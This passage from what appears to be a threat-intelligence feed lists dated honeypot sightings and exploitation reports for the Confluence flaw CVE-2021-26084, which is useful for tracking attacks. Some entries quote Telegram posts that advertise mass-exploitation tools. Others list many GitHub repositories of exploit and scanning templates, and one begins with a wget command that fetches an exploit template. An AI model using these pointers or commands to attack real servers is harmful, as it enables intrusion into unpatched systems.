"date_only": false, "value": "2025-03-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bc643411-e17c-40d3-974d-2adb6be1354e"}, {"timestamp": "2025-03-08T00:00:00Z", "date_only": false, "value": "2025-03-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b0cade8b-54c0-4ee6-8ff3-6e8b140a6364"}, {"timestamp": "2025-03-08T00:00:00Z", "date_only": false, "value": "2025-03-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d23970cc-9d16-4400-a3a3-aeeafff10b30"}, {"timestamp": "2025-03-09T00:00:00Z", "date_only": false, "value": "2025-03-09T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-09)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "16660cb8-3984-4ee5-a6a5-5949d060c4f1"}, {"timestamp": "2025-03-10T00:00:00Z", "date_only": false, "value": "2025-03-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f67819d5-a1b6-4b4d-acbf-ff653300e217"}, {"timestamp": "2025-03-11T00:00:00Z", "date_only": false, "value": "2025-03-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ccc7460d-d2ff-4a7d-87b8-7be0552a7a90"}, {"timestamp": "2025-03-13T00:00:00Z", "date_only": false, "value": "2025-03-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b0a66f79-1d31-40e9-b031-9d378c450663"}, {"timestamp": "2025-03-14T00:00:00Z", "date_only": false, "value": "2025-03-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9de71d9a-dff1-406b-821b-4f392dc86434"}, {"timestamp": "2025-03-14T00:00:00Z", "date_only": false, "value": "2025-03-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e75847f5-0dea-4b2c-a59b-59c68f4d1ae5"}, {"timestamp": "2025-03-15T00:00:00Z", "date_only": false, "value": "2025-03-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "11de3dd0-b3cc-4c33-9175-8654d4959857"}, {"timestamp": "2025-03-16T00:00:00Z", "date_only": false, "value": "2025-03-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b3346619-4843-471f-9b84-e94de2102ba4"}, {"timestamp": "2025-03-16T00:41:48Z", "date_only": false, "value": "2025-03-16T00:41:48.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyber_hsecurity/3305", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "dfd53099-ed4b-4da4-9c25-ce6a340c622f", "content": "Mass CVE-2021-22005\nMass CVE-2021-26084\n\nMade at the request of our friend\n\nEnjoy:", "url": "https://t.me/cyber_hsecurity/3305"}, {"timestamp": "2025-03-17T00:00:00Z", "date_only": false, "value": "2025-03-17T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-17)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4a69d0d4-5c70-4d91-89a8-2b0c8020e8a2"}, {"timestamp": "2025-03-18T00:00:00Z", "date_only": false, "value": "2025-03-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0e30b7eb-940b-4dc9-bdec-f748752381f4"}, {"timestamp": "2025-03-18T00:00:00Z", "date_only": false, "value": "2025-03-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "75a073ce-f087-4053-ac2a-d772fc910e8e"}, {"timestamp": "2025-03-19T00:00:00Z", "date_only": false, "value": "2025-03-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "24a23d46-bf09-4c6e-9917-80a668ac8748"}, {"timestamp": "2025-03-20T00:00:00Z", "date_only": false, "value": "2025-03-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "27b3fa7f-5967-4a81-a8ba-f98e43f10985"}, {"timestamp": "2025-03-20T00:00:00Z", "date_only": false, "value": "2025-03-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d15e0efd-15fe-4314-a9f6-389f68cb1550"}, {"timestamp": "2025-03-21T00:00:00Z", "date_only": false, "value": "2025-03-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "437d0900-27cc-44ec-94ec-bc5064f9d0da"}, {"timestamp": "2025-03-21T00:00:00Z", "date_only": false, "value": "2025-03-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "947d036a-19b4-403f-b61b-f4c85f736580"}, {"timestamp": "2025-03-22T00:00:00Z", "date_only": false, "value": "2025-03-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b7ce12dd-7650-48f9-a859-e7db4217418d"}, {"timestamp": "2025-03-23T00:00:00Z", "date_only": false, "value": "2025-03-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "860f1eb1-6d82-4b57-8837-a2dc14b1fa7e"}, {"timestamp": "2025-03-24T00:00:00Z", "date_only": false, "value": "2025-03-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6a3d3fc0-7d22-4a09-a5a8-ee1abb4969d0"}, {"timestamp": "2025-03-25T00:00:00Z", "date_only": false, "value": "2025-03-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8cb223ef-6d06-4048-9ec8-0cb057d1eb2b"}, {"timestamp": "2025-03-26T00:00:00Z", "date_only": false, "value": "2025-03-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e8b897d5-6be8-468d-b4b4-abcf0eb3a420"}, {"timestamp": "2025-03-27T00:00:00Z", "date_only": false, "value": "2025-03-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "0f698dfb-5e5a-4f6c-8424-9b8fbc69c3ef"}, {"timestamp": "2025-03-28T00:00:00Z", "date_only": false, "value": "2025-03-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8ffed82e-5566-491d-8630-eaaf7752a4ba"}, {"timestamp": "2025-03-30T00:00:00Z", "date_only": false, "value": "2025-03-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-03-30)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "449c383a-eba1-4b1e-91a8-91234b49602e"}, {"timestamp": "2025-03-31T00:00:00Z", "date_only": false, "value": "2025-03-31T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-31)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6d026108-cb83-448a-88d3-fe6c385eefe7"}, {"timestamp": "2025-04-03T00:00:00Z", "date_only": false, "value": "2025-04-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "68c2d1b0-7135-4c0c-b11a-1685c7ff2d12"}, {"timestamp": "2025-04-06T00:00:00Z", "date_only": false, "value": "2025-04-06T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d1506760-eae3-4ab3-baa5-0e7eec7b8be5"}, {"timestamp": "2025-04-06T00:00:00Z", "date_only": false, "value": "2025-04-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "15293cab-1283-44e5-9efa-3c9671b1b146"}, {"timestamp": "2025-04-11T00:00:00Z", "date_only": false, "value": "2025-04-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f29d41e1-b33b-49e7-addd-850e290f7091"}, {"timestamp": "2025-04-14T00:00:00Z", "date_only": false, "value": "2025-04-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2ab28b90-3e31-4a51-8751-d334c9edeaad"}, {"timestamp": "2025-04-15T00:00:00Z", "date_only": false, "value": "2025-04-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "077c6f2b-7252-42d3-884f-9adfd511621a"}, {"timestamp": "2025-04-18T00:00:00Z", "date_only": false, "value": "2025-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-18)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9da2676f-ffd4-4ca2-a265-78e7e586572b"}, {"timestamp": "2025-04-19T00:00:00Z", "date_only": false, "value": "2025-04-19T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-19)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9369d3be-4723-4f97-b1aa-47ca8b9cb0df"}, {"timestamp": "2025-04-20T00:00:00Z", "date_only": false, "value": "2025-04-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "fe69759a-7189-4fe8-870a-6f53c6013dcb"}, {"timestamp": "2025-04-20T00:00:00Z", "date_only": false, "value": "2025-04-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a71c9bf3-cf39-4c00-929f-b614d7ccc148"}, {"timestamp": "2025-04-22T00:00:00Z", "date_only": false, "value": "2025-04-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7aad2dc3-c151-4471-a8fe-698e4e7281e9"}, {"timestamp": "2025-04-22T02:52:21Z", "date_only": false, "value": "2025-04-22T02:52:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/AGENTZSECURITY/1244", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "18024823-9ee0-44cb-abe3-44e03c3ebdc6", "content": "wget https://raw.githubusercontent.com/SecTheBit/CVE-2022-1388/main/bigip.yaml\nhttps://github.com/rafaelwdornelas/my-nuclei-templates\nhttps://github.com/Akokonunes/Private-Nuclei-Templates\nhttps://github.com/trungkay2/Nuclei-template\nhttps://github.com/Kaue-Navarro/Templates-kaue-nuclei\nhttps://github.com/1dayluo/My-Nuclei-Templates\nhttps://github.com/topscoder/nuclei-wordfence-cve\nhttps://github.com/drfabiocastro/certwatcher-templates\nhttps://github.com/erickfernandox/nuclei-templates\nhttps://github.com/damon-sec/Nuclei-templates-Collection\nhttps://github.com/ptyspawnbinbash/template-enhancer\nhttps://github.com/abbycantcode/Nuclei-Template\nhttps://github.com/ayadim/Nuclei-bug-hunter\nhttps://github.com/pacho15/mynuclei_templates\nhttps://github.com/soumya123raj/Nuclei\nhttps://github.com/soapffz/myown-nuclei-poc\nhttps://github.com/zer0yu/Open-PoC\nhttps://github.com/SumedhDawadi/Custom-Nuclei-Template\nhttps://github.com/coldrainh/nuclei-ByMyself\nhttps://github.com/binod235/nuclei-templates-and-reports\nhttps://github.com/mbskter/Masscan2Httpx2Nuclei-Xray\nhttps://github.com/luck-ying/Library-YAML-POC\nhttps://github.com/PedroFerreira97/nuclei_templates\nhttps://github.com/Odayex/Random-Nuclei-Templates\nhttps://github.com/Hunt2behunter/nuclei-templates\nhttps://github.com/mastersir-lab/nuclei-yaml-poc\nhttps://github.com/SirAppSec/nuclei-template-generator-log4j\nhttps://github.com/souzomain/mytemplates\nhttps://github.com/ricardomaia/nuclei-template-generator-for-wordpress-plugins\nhttps://github.com/0xPugazh/my-nuclei-templates\nhttps://github.com/UltimateSec/ultimaste-nuclei-templates\nhttps://github.com/h0tak88r/nuclei_templates\n# https://github.com/0XParthJ/Nuclei-Templates\n# https://github.com/1dayluo/My-Nuclei-Templates\n# https://github.com/Aituglo/nuclei-templates\n# https://github.com/ChiaraNRTT96/BountySkill\n# https://github.com/Linuxinet/nuclei-templates\n# https://github.com/Nithissh0708/Custom-Nuclei-Templates\n# https://github.com/abbycantcode/Nuclei-Template\n# https://github.com/foulenzer/foulenzer-templates\n# https://github.com/joanbono/nuclei-templates\n# https://github.com/pacho15/mynuclei_templates\n# https://github.com/themastersunil/Nuclei-TamplatesBackup.git\n# https://github.com/themastersunil/nucleiDB\n# https://github.com/trungkay2/Nuclei-template\n# https://github.com/shubham-rooter/Nuclei-Template-Collection\nhttps://github.com/0xElkot/My-Nuclei-Templates\nhttps://github.com/0xmaximus/final_freaking_nuclei_templates\nhttps://github.com/10kHacktech/nuclei_templates\nhttps://github.com/2jung/nuclei-templates\nhttps://github.com/Arvinthksrct/alltemplate\nhttps://github.com/BeRserKerSec/CVE-2021-26084-Nuclei-template\nhttps://github.com/ChristianWeiler/custom-nuclei-templates\nhttps://github.com/DoubleTakes/nuclei-templates\nhttps://github.com/Elsfa7-110/log4jNuclei\nhttps://github.com/ExpLangcn/NucleiTP\nhttps://github.com/Facucuervo87/openssl-3.0.4-template\nhttps://github.com/GlennPegden2/misc-nuclei-scripts\nhttps://github.com/Hack4rLIFE/CVE-2022-42889\nhttps://github.com/Jagomeiister/nuclei-templates\nhttps://github.com/KeepHowling/all_freaking_nuclei_templates\nhttps://github.com/Lopseg/nuclei-c-templates\nhttps://github.com/Lu3ky13/Authorization-Nuclei-Templates\nhttps://github.com/MikeeI/nuclei-templates\nhttps://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed\nhttps://github.com/MrCl0wnLab/Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter\nhttps://github.com/NightRang3r/misc_nuclei_templates\nhttps://github.com/Saboor-Hakimi/CVE-2023-23752\nhttps://github.com/SecTheBit/CVE-2022-1388\nhttps://github.com/T4t4ru/nuclei-templates\nhttps://github.com/aels/CVE-2022-37042\nhttps://github.com/akincibor/CVE-2022-27925\nhttps://github.com/al4xs/nuclei-templates\nhttps://github.com/am0nt31r0/custom-nuclei-templates", "url": "https://t.me/AGENTZSECURITY/1244"}, {"timestamp": "2025-04-22T02:52:21Z", "date_only": false, "value": "2025-04-22T02:52:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/AGENTZSECURITY/1250", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "47fdfe5b-6d85-44e6-bfb8-9b9422559c6a", "content": "https://github.com/abbycantcode/Nuclei-Template\nhttps://github.com/foulenzer/foulenzer-templates\nhttps://github.com/joanbono/nuclei-templates\nhttps://github.com/pacho15/mynuclei_templates\nhttps://github.com/themastersunil/Nuclei-TamplatesBackup.git\nhttps://github.com/themastersunil/nucleiDB\nhttps://github.com/trungkay2/Nuclei-template\nhttps://github.com/shubham-rooter/Nuclei-Template-Collection\nhttps://gist.github.com/0x240x23elu\nhttps://gist.github.com/ResistanceIsUseless/e46848f67706a8aa1205c9d2866bff31\nhttps://github.com/0x71rex/0-Nuclei-Templates\nhttps://github.com/0x727/ObserverWard_0x727\nhttps://github.com/0xAwali/Virtual-Host\nhttps://github.com/0xElkot/My-Nuclei-Templates\nhttps://github.com/0xKayala/Custom-Nuclei-Templates\nhttps://github.com/0xPugazh/my-nuclei-templates\nhttps://github.com/0xmaximus/final_freaking_nuclei_templates\nhttps://github.com/10kHacktech/nuclei_templates\nhttps://github.com/1in9e/my-nuclei-templates\nhttps://github.com/2jung/nuclei-templates\nhttps://github.com/5cr1pt/templates\nhttps://github.com/ARPSyndicate/kenzer-templates\nhttps://github.com/Akokonunes/Private-Nuclei-Templates\nhttps://github.com/Arvinthksrct/alltemplate\nhttps://github.com/AshiqurEmon/nuclei_templates.git\nhttps://github.com/BagheeraAltered/FuzzingTemplate\nhttps://github.com/BeRserKerSec/CVE-2021-26084-Nuclei-template\nhttps://github.com/CharanRayudu/Custom-Nuclei-Templates\nhttps://github.com/ChristianWeiler/custom-nuclei-templates\nhttps://github.com/Dalaho-bangin/my_nuclei_templates\nhttps://github.com/Dalaho-bangin/nuclei-templates2\nhttps://github.com/Deep2142004/Nuclei-Templates\nhttps://github.com/Deepparasiya/Nuclei-Templates\nhttps://github.com/DoubleTakes/nuclei-templates\nhttps://github.com/DrakenKun-cyber/Templates\nhttps://github.com/Elsfa7-110/log4jNuclei\nhttps://github.com/Elsfa7-110/mynuclei-templates\nhttps://github.com/Erenlancaster/CVE-2021-46704\nhttps://github.com/Esonhugh/public-nuclei-template\nhttps://github.com/ExpLangcn/NucleiTP\nhttps://github.com/Facucuervo87/openssl-3.0.4-template\nhttps://github.com/GlennPegden2/misc-nuclei-scripts\nhttps://github.com/Gotcha-1G/CVE-2022-42889\nhttps://github.com/Hack4rLIFE/CVE-2022-42889\nhttps://github.com/Harish4948/Nuclei-Templates\nhttps://github.com/HernanRodriguez1/ScanReflectedSSTI\nhttps://github.com/HideNsec/nuclei-bitrix-templates\nhttps://github.com/Hunt2behunter/nuclei-templates\nhttps://github.com/Jagomeiister/nuclei-templates\nhttps://github.com/JoshMorrison99/url-based-nuclei-templates\nhttps://github.com/Kaue-Navarro/Templates-kaue-nuclei\nhttps://github.com/KeepHowling/all_freaking_nuclei_templates\nhttps://github.com/Lopseg/nuclei-c-templates\nhttps://github.com/Lu3ky13/Authorization-Nuclei-Templates\nhttps://github.com/MR-pentestGuy/nuclei-templates\nhttps://github.com/MikeeI/nuclei-templates\nhttps://github.com/Mr-B0hl00l/nuclei-templates\nhttps://github.com/Mr-xn/CVE-2023-23333\nhttps://github.com/MrCl0wnLab/Nuclei-Template-CVE-2022-1388-BIG-IP-iControl-REST-Exposed\nhttps://github.com/MrCl0wnLab/Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter\nhttps://github.com/NightRang3r/misc_nuclei_templates\nhttps://github.com/NitinYadav00/My-Nuclei-Templates\nhttps://github.com/Odayex/Random-Nuclei-Templates\nhttps://github.com/Pavan-Alapati/nuclei-templates\nhttps://github.com/PedroFerreira97/nuclei_templates\nhttps://github.com/R-s0n/Custom_Vuln_Scan_Templates\nhttps://github.com/Rabb1ter/nuclei-templates\nhttps://github.com/RajaUzairAbdullah/nuclei-templates\nhttps://github.com/Red-Darkin/Custom-Nuclei-Templates\nhttps://github.com/Saboor-Hakimi/CVE-2023-23752\nhttps://github.com/Saimonkabir/Nuclei-Templates\nhttps://github.com/Saptak9983/Nuclei-Template\nhttps://github.com/SecTheBit/CVE-2022-1388\nhttps://github.com/Shakilll/my_nuclei_templates\nhttps://github.com/ShangRui-hash/my-nuclei-templates", "url": "https://t.me/AGENTZSECURITY/1250"}, {"timestamp": "2025-04-23T00:00:00Z", "date_only": false, "value": "2025-04-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-23)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3eb91d21-3ae7-422e-8fcf-59472df30f27"}, {"timestamp": "2025-04-24T00:00:00Z", "date_only": false, "value": "2025-04-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b82b6d79-00ab-420a-bc2b-ac04c6b2d3c3"}, {"timestamp": "2025-04-24T00:00:00Z", "date_only": false, "value": "2025-04-24T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6345402a-c1cd-4a31-81f6-4423694e946e"}, {"timestamp": "2025-04-25T00:00:00Z", "date_only": false, "value": "2025-04-25T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-25)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9ee1cabc-76be-4ec7-b7ee-3482466450c7"}, {"timestamp": "2025-04-26T00:00:00Z", "date_only": false, "value": "2025-04-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "885926cb-4cba-4024-8409-03c09a9d77a3"}, {"timestamp": "2025-04-26T00:00:00Z", "date_only": false, "value": "2025-04-26T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "eff972e6-b548-4767-8f0c-4e72aba2ef62"}, {"timestamp": "2025-04-27T00:00:00Z", "date_only": false, "value": "2025-04-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "867235fb-5dcd-465f-a7a3-c0b602c272f0"}, {"timestamp": "2025-04-28T00:00:00Z", "date_only": false, "value": "2025-04-28T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-04-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "50deac33-37ec-4b16-8a90-545872b74b90"}, {"timestamp": "2025-04-28T00:00:00Z", "date_only": false, "value": "2025-04-28T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-04-28)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a79a6817-cc9c-4e3b-aa0b-4160b885620c"}, {"timestamp": "2025-05-02T00:00:00Z", "date_only": false, "value": "2025-05-02T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-02)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "2d2cd4d8-eb46-4fa0-b085-eb5e190cc717"}, {"timestamp": "2025-05-03T00:00:00Z", "date_only": false, "value": "2025-05-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "92730446-15d7-4b15-b545-5c2d82643f59"}, {"timestamp": "2025-05-04T00:00:00Z", "date_only": false, "value": "2025-05-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-04)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "f32f3f4f-4bbb-4580-b7cb-384d9e02b14d"}, {"timestamp": "2025-05-06T00:00:00Z", "date_only": false, "value": "2025-05-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-06)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "ff992f94-24c4-4702-ae37-0c60e4266de0"}, {"timestamp": "2025-05-07T00:00:00Z", "date_only": false, "value": "2025-05-07T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-07)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6e7bc0ea-d52e-417b-8eb7-f139c992a6ee"}, {"timestamp": "2025-05-08T00:00:00Z", "date_only": false, "value": "2025-05-08T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3274a0fb-32a2-4aa6-9979-e92438bd4fc8"}, {"timestamp": "2025-05-10T00:00:00Z", "date_only": false, "value": "2025-05-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4b300cf4-13da-425d-b355-2f641203b1b8"}, {"timestamp": "2025-05-10T00:00:00Z", "date_only": false, "value": "2025-05-10T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-05-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7651f786-fab5-4e04-ae57-a8db07a63450"}, {"timestamp": "2025-05-11T00:00:00Z", "date_only": false, "value": "2025-05-11T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d55fc973-a2f2-43e2-af8a-567c7a43604d"}, {"timestamp": "2025-05-20T00:00:00Z", "date_only": false, "value": "2025-05-20T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "3288ab93-daf9-432b-ac78-c901b6fe6173"}, {"timestamp": "2025-05-21T00:00:00Z", "date_only": false, "value": "2025-05-21T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "bb426238-66b0-4be1-8127-3e339cadaa95"}, {"timestamp": "2025-05-22T00:00:00Z", "date_only": false, "value": "2025-05-22T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "feae3631-92d5-4be5-9dce-dad24ff9a3c5"}, {"timestamp": "2025-05-23T00:00:00Z", "date_only": false, "value": "2025-05-23T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-05-23)", "record": 